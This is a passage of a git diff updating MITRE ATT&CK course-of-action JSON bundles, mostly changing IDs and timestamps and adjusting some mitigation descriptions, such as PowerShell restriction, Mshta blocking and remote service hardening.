+    "id": "bundle--c43682fc-bbe9-490d-b15e-7ca83f0578b0",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--d0415180-51e9-40ce-b57c-c332b0b441f2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "PowerShell Mitigation",
             "description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e.json b/enterprise-attack/course-of-action/course-of-action--d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e.json
index 53f0e2aced..cf35ce370d 100644
--- a/enterprise-attack/course-of-action/course-of-action--d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e.json
+++ b/enterprise-attack/course-of-action/course-of-action--d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--fdcd1f41-92de-4a3a-8d54-0edecde607a4",
+    "id": "bundle--17e58485-588f-48e7-a219-220fbc8799c5",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Obfuscation Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--d256cb63-b021-4b4a-bb6d-1b42eea179a3.json b/enterprise-attack/course-of-action/course-of-action--d256cb63-b021-4b4a-bb6d-1b42eea179a3.json
index 450ed60166..ca1320d1a8 100644
--- a/enterprise-attack/course-of-action/course-of-action--d256cb63-b021-4b4a-bb6d-1b42eea179a3.json
+++ b/enterprise-attack/course-of-action/course-of-action--d256cb63-b021-4b4a-bb6d-1b42eea179a3.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--66f4057a-9460-4c52-9e59-af77a1e8ea42",
+    "id": "bundle--16b0728d-ac90-4e26-ba7c-f3ed0eae33c5",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--d256cb63-b021-4b4a-bb6d-1b42eea179a3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network Service Scanning Mitigation",
             "description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--d2dce10b-3562-4d61-b2f5-7c6384b038e2.json b/enterprise-attack/course-of-action/course-of-action--d2dce10b-3562-4d61-b2f5-7c6384b038e2.json
new file mode 100644
index 0000000000..dc6291a9f1
--- /dev/null
+++ b/enterprise-attack/course-of-action/course-of-action--d2dce10b-3562-4d61-b2f5-7c6384b038e2.json
@@ -0,0 +1,23 @@
+{
+    "type": "bundle",
+    "id": "bundle--0db9fd3c-599d-4dde-9637-8abbe29c4d47",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--d2dce10b-3562-4d61-b2f5-7c6384b038e2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Mshta Mitigation",
+            "description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer which have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1170",
+                    "external_id": "T1170"
+                }
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/course-of-action/course-of-action--d45f03a8-790a-4f90-b956-cd7e5b8886bf.json b/enterprise-attack/course-of-action/course-of-action--d45f03a8-790a-4f90-b956-cd7e5b8886bf.json
index a6f2e56892..7fdc6aae0f 100644
--- a/enterprise-attack/course-of-action/course-of-action--d45f03a8-790a-4f90-b956-cd7e5b8886bf.json
+++ b/enterprise-attack/course-of-action/course-of-action--d45f03a8-790a-4f90-b956-cd7e5b8886bf.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--75c36b08-a2e2-4190-8ca1-2cb5e5c0c544",
+    "id": "bundle--2498be63-8595-482d-b11a-3af9c958b476",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--d45f03a8-790a-4f90-b956-cd7e5b8886bf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Valid Accounts Mitigation",
             "description": "Take measures to detect or prevent techniques such as Credential Dumping or installation of keyloggers to acquire credentials through Input Capture. Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access). Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2.json b/enterprise-attack/course-of-action/course-of-action--d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2.json
index 298507dfd3..87a42baec0 100644
--- a/enterprise-attack/course-of-action/course-of-action--d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2.json
+++ b/enterprise-attack/course-of-action/course-of-action--d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2.json
@@ -1,16 +1,16 @@
 {
     "type": "bundle",
-    "id": "bundle--fb7a960d-61a1-4eab-8a59-84b2dc655d4d",
+    "id": "bundle--c2cde093-1e91-4e1d-81fd-033aed6fec4c",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "External Remote Services Mitigation",
-            "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through uses of network proxies, gateways, and firewalls as appropriate. Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of Two-Factor Authentication Interception techniques for some two-factor authentication implementations.",
+            "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through uses of network proxies, gateways, and firewalls as appropriate. Disable or block services such as Windows Remote Management can be used externally. Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of Two-Factor Authentication Interception techniques for some two-factor authentication implementations.",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
diff --git a/enterprise-attack/course-of-action/course-of-action--d5dce4b9-f1fa-4c03-aff9-ce177246cb64.json b/enterprise-attack/course-of-action/course-of-action--d5dce4b9-f1fa-4c03-aff9-ce177246cb64.json
index 04dd5cb55f..8f8522384f 100644
--- a/enterprise-attack/course-of-action/course-of-action--d5dce4b9-f1fa-4c03-aff9-ce177246cb64.json
+++ b/enterprise-attack/course-of-action/course-of-action--d5dce4b9-f1fa-4c03-aff9-ce177246cb64.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--988f4f36-42e4-4112-88f1-f73b93b0e8d2",
+    "id": "bundle--1381ce99-a5be-4d16-aff9-9a67ce16f3c5",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--d5dce4b9-f1fa-4c03-aff9-ce177246cb64",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Service Execution Mitigation",
             "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--d75a3d1b-b536-4f15-a23c-f4bcc17837b8.json b/enterprise-attack/course-of-action/course-of-action--d75a3d1b-b536-4f15-a23c-f4bcc17837b8.json
index caaba47923..d53bac173d 100644
--- a/enterprise-attack/course-of-action/course-of-action--d75a3d1b-b536-4f15-a23c-f4bcc17837b8.json
+++ b/enterprise-attack/course-of-action/course-of-action--d75a3d1b-b536-4f15-a23c-f4bcc17837b8.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--11e5056e-aae0-4eec-84d3-e7fedc9a4c46",
+    "id": "bundle--759b4630-05d1-41a5-9a80-937880d45168",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--d75a3d1b-b536-4f15-a23c-f4bcc17837b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Connection Proxy Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--d7c49196-b40e-42bc-8eed-b803113692ed.json b/enterprise-attack/course-of-action/course-of-action--d7c49196-b40e-42bc-8eed-b803113692ed.json
index b6abe28e48..bd9b0e4f5e 100644
--- a/enterprise-attack/course-of-action/course-of-action--d7c49196-b40e-42bc-8eed-b803113692ed.json
+++ b/enterprise-attack/course-of-action/course-of-action--d7c49196-b40e-42bc-8eed-b803113692ed.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--40f0995d-e2f6-4f61-98c6-6a306566d740",
+    "id": "bundle--f6147b28-5587-40a0-a5a0-c503b12c3b48",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--d7c49196-b40e-42bc-8eed-b803113692ed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Change Default File Association Mitigation",
             "description": "Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)\n\nIdentify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--d8787791-d22e-45bb-a9a8-251d8d0a1ff2.json b/enterprise-attack/course-of-action/course-of-action--d8787791-d22e-45bb-a9a8-251d8d0a1ff2.json
index 211a0fcb58..9b09ed2152 100644
--- a/enterprise-attack/course-of-action/course-of-action--d8787791-d22e-45bb-a9a8-251d8d0a1ff2.json
+++ b/enterprise-attack/course-of-action/course-of-action--d8787791-d22e-45bb-a9a8-251d8d0a1ff2.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--066e99b6-842c-4bf4-b5d6-291ddd97807c",
+    "id": "bundle--db456a63-2ff2-43be-b641-2edbb90b4acf",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--d8787791-d22e-45bb-a9a8-251d8d0a1ff2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Service Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--d9727aee-48b8-4fdb-89e2-4c49746ba4dd.json b/enterprise-attack/course-of-action/course-of-action--d9727aee-48b8-4fdb-89e2-4c49746ba4dd.json
index b27a9aff3b..a53e288002 100644
--- a/enterprise-attack/course-of-action/course-of-action--d9727aee-48b8-4fdb-89e2-4c49746ba4dd.json
+++ b/enterprise-attack/course-of-action/course-of-action--d9727aee-48b8-4fdb-89e2-4c49746ba4dd.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--0c04f985-1dac-405c-9fed-d3922cc5abbe",
+    "id": "bundle--795f45d6-9c10-4340-b112-1616c6413592",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--d9727aee-48b8-4fdb-89e2-4c49746ba4dd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data from Network Shared Drive Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d.json b/enterprise-attack/course-of-action/course-of-action--d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d.json
index e75fea2efc..13b2be37f1 100644
--- a/enterprise-attack/course-of-action/course-of-action--d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d.json
+++ b/enterprise-attack/course-of-action/course-of-action--d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--69b7a59c-aa2b-4eb0-8371-bde0332b799c",
+    "id": "bundle--6723ec3f-7c06-4c8b-9925-037fedf2a3a0",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Video Capture Mitigation",
             "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--da8a87d2-946d-4c34-9a30-709058b98996.json b/enterprise-attack/course-of-action/course-of-action--da8a87d2-946d-4c34-9a30-709058b98996.json
index d067964493..531f387d55 100644
--- a/enterprise-attack/course-of-action/course-of-action--da8a87d2-946d-4c34-9a30-709058b98996.json
+++ b/enterprise-attack/course-of-action/course-of-action--da8a87d2-946d-4c34-9a30-709058b98996.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--3160cb9c-2d55-4a53-889f-35f806679be2",
+    "id": "bundle--e9a141d1-e2d9-4b81-9b60-c595b54fc10b",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--da8a87d2-946d-4c34-9a30-709058b98996",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Input Capture Mitigation",
             "description": "Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIn cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of Valid Accounts.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--da987565-27b6-4b31-bbcd-74b909847116.json b/enterprise-attack/course-of-action/course-of-action--da987565-27b6-4b31-bbcd-74b909847116.json
index 844bdfb84a..468d0cd910 100644
--- a/enterprise-attack/course-of-action/course-of-action--da987565-27b6-4b31-bbcd-74b909847116.json
+++ b/enterprise-attack/course-of-action/course-of-action--da987565-27b6-4b31-bbcd-74b909847116.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--29adeb9a-68b0-4782-a09d-e735582be2c2",
+    "id": "bundle--aa4aed1a-54c1-4a6e-bd93-07f484ffe5fb",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--da987565-27b6-4b31-bbcd-74b909847116",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Multiband Communication Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--dc43c2fe-355e-4a79-9570-3267b0992784.json b/enterprise-attack/course-of-action/course-of-action--dc43c2fe-355e-4a79-9570-3267b0992784.json
index 656c816237..a1b78197ef 100644
--- a/enterprise-attack/course-of-action/course-of-action--dc43c2fe-355e-4a79-9570-3267b0992784.json
+++ b/enterprise-attack/course-of-action/course-of-action--dc43c2fe-355e-4a79-9570-3267b0992784.json
@@ -1,16 +1,16 @@
 {
     "type": "bundle",
-    "id": "bundle--d40511be-5b12-492f-b018-151cd788ed89",
+    "id": "bundle--907ef724-fe79-4ce7-9276-e23abb6f1ef7",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--dc43c2fe-355e-4a79-9570-3267b0992784",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Dylib Hijacking Mitigation",
-            "description": "Prevent users from being able to write files to the search paths for applications - both in the folders where applications are run from and the standard dylib folders. If users can't write to these directories, then they can't intercept the search path.",
+            "description": "Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can't write to these directories, then they can't intercept the search path.",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
diff --git a/enterprise-attack/course-of-action/course-of-action--dd9a85ad-6a92-4986-a215-b01d0ce7b987.json b/enterprise-attack/course-of-action/course-of-action--dd9a85ad-6a92-4986-a215-b01d0ce7b987.json
index 1492d3b508..e6792d9154 100644
--- a/enterprise-attack/course-of-action/course-of-action--dd9a85ad-6a92-4986-a215-b01d0ce7b987.json
+++ b/enterprise-attack/course-of-action/course-of-action--dd9a85ad-6a92-4986-a215-b01d0ce7b987.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--ea0caaff-e0da-469f-a4cb-de558cc1ccc6",
+    "id": "bundle--5e2e9efe-72bf-4488-974c-899f99b0475a",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--dd9a85ad-6a92-4986-a215-b01d0ce7b987",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Permission Groups Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--e0703d4f-3972-424a-8277-84004817e024.json b/enterprise-attack/course-of-action/course-of-action--e0703d4f-3972-424a-8277-84004817e024.json
index 81a1741bdb..43bea76efe 100644
--- a/enterprise-attack/course-of-action/course-of-action--e0703d4f-3972-424a-8277-84004817e024.json
+++ b/enterprise-attack/course-of-action/course-of-action--e0703d4f-3972-424a-8277-84004817e024.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--d63fa6fd-6052-49d3-a183-1bd4fe8ec63f",
+    "id": "bundle--75de7a19-22a7-42a0-8379-1713e6f4ec65",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--e0703d4f-3972-424a-8277-84004817e024",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Path Interception Mitigation",
             "description": "Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.\n\nPeriodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel). \n\nRequire that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory <code>C:</code> and system directories, such as <code>C:\\Windows\\</code>, to reduce places where malicious files could be placed for execution.\n\nIdentify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc.json b/enterprise-attack/course-of-action/course-of-action--e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc.json
index 6a4188e58b..53f7f43fc4 100644
--- a/enterprise-attack/course-of-action/course-of-action--e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc.json
+++ b/enterprise-attack/course-of-action/course-of-action--e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--20938ebf-98e4-4538-b1da-060cad892816",
+    "id": "bundle--483392e2-73c3-4162-8235-c7cb393322f9",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Launchctl Mitigation",
             "description": "Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--e547ed6a-f1ca-40df-8613-2ce27927f145.json b/enterprise-attack/course-of-action/course-of-action--e547ed6a-f1ca-40df-8613-2ce27927f145.json
index 5a130430c0..1c84e9f6bd 100644
--- a/enterprise-attack/course-of-action/course-of-action--e547ed6a-f1ca-40df-8613-2ce27927f145.json
+++ b/enterprise-attack/course-of-action/course-of-action--e547ed6a-f1ca-40df-8613-2ce27927f145.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--4a707ccf-3e6b-4e77-a964-0e2c28921250",
+    "id": "bundle--1e9d1c2b-5399-4750-bb4c-152787f4ca34",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--e547ed6a-f1ca-40df-8613-2ce27927f145",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exfiltration Over Physical Medium Mitigation",
             "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--e8d22ec6-2236-48de-954b-974d17492782.json b/enterprise-attack/course-of-action/course-of-action--e8d22ec6-2236-48de-954b-974d17492782.json
index 6195284a57..eccdc79322 100644
--- a/enterprise-attack/course-of-action/course-of-action--e8d22ec6-2236-48de-954b-974d17492782.json
+++ b/enterprise-attack/course-of-action/course-of-action--e8d22ec6-2236-48de-954b-974d17492782.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--504937e8-e728-49e1-a62f-6a188c7b13b5",
+    "id": "bundle--e20b0b6a-1a0a-4948-a678-0f38df8fae24",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
